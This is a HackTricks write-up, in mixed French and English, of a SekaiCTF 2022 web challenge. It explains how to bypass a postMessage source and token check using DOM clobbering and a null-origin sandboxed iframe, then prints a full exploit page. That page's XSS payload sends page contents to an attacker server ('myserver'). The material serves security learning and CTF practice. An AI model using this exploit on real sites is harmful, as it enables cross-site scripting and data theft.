hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md

96 lines
6.3 KiB
Markdown
Raw Normal View History

# Bypassing SOP with Iframes - 2
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-10-13 00:56:34 +00:00
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Iframes in SOP-2
2022-10-13 00:56:34 +00:00
Dans la [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) pour ce [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) propose une méthode similaire à la section précédente. Vérifions cela.
Dans ce challenge, l'attaquant doit **bypasser** cela :
2022-10-13 00:56:34 +00:00
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
If he does, he can send a **postmessage** with HTML content that is going to be written in the page with **`innerHTML`** without sanitation (**XSS**).
2022-10-13 00:56:34 +00:00
La façon de contourner la **première vérification** est de rendre **`window.calc.contentWindow`** **`undefined`** et **`e.source`** **`null`** :
2022-10-13 00:56:34 +00:00
* **`window.calc.contentWindow`** est en fait **`document.getElementById("calc")`**. Vous pouvez écraser **`document.getElementById`** avec **`<img name=getElementById />`** (notez que l'API Sanitizer -[ici](https://wicg.github.io/sanitizer-api/#dom-clobbering)- n'est pas configurée pour protéger contre les attaques de clobbering DOM dans son état par défaut).
* Par conséquent, vous pouvez écraser **`document.getElementById("calc")`** avec **`<img name=getElementById /><div id=calc></div>`**. Ensuite, **`window.calc`** sera **`undefined`**.
* Maintenant, nous avons besoin que **`e.source`** soit **`undefined`** ou **`null`** (parce que `==` est utilisé au lieu de `===`, **`null == undefined`** est **`True`**). Obtenir cela est "facile". Si vous créez un **iframe** et **envoyez** un **postMessage** depuis celui-ci et que vous **supprimez** immédiatement l'iframe, **`e.origin`** va être **`null`**. Vérifiez le code suivant
2022-10-13 00:56:34 +00:00
```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```
Pour contourner la **deuxième vérification** concernant le token, il suffit d'envoyer **`token`** avec la valeur `null` et de rendre la valeur de **`window.token`** **`undefined`** :
2022-10-13 00:56:34 +00:00
* Envoyer `token` dans le postMessage avec la valeur `null` est trivial.
* **`window.token`** lors de l'appel de la fonction **`getCookie`** qui utilise **`document.cookie`**. Notez que tout accès à **`document.cookie`** dans des pages d'origine **`null`** déclenche une **erreur**. Cela fera en sorte que **`window.token`** ait la valeur **`undefined`**.
2022-10-13 00:56:34 +00:00
La solution finale de [**@terjanq**](https://twitter.com/terjanq) est la [**suivante**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html) :
2022-10-13 00:56:34 +00:00
```html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr);
function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
2022-10-13 00:56:34 +00:00
</html>
```
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-10-13 00:56:34 +00:00
<details>
<summary>Soutenir HackTricks</summary>
2022-10-13 00:56:34 +00:00
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
2022-10-13 00:56:34 +00:00
</details>
{% endhint %}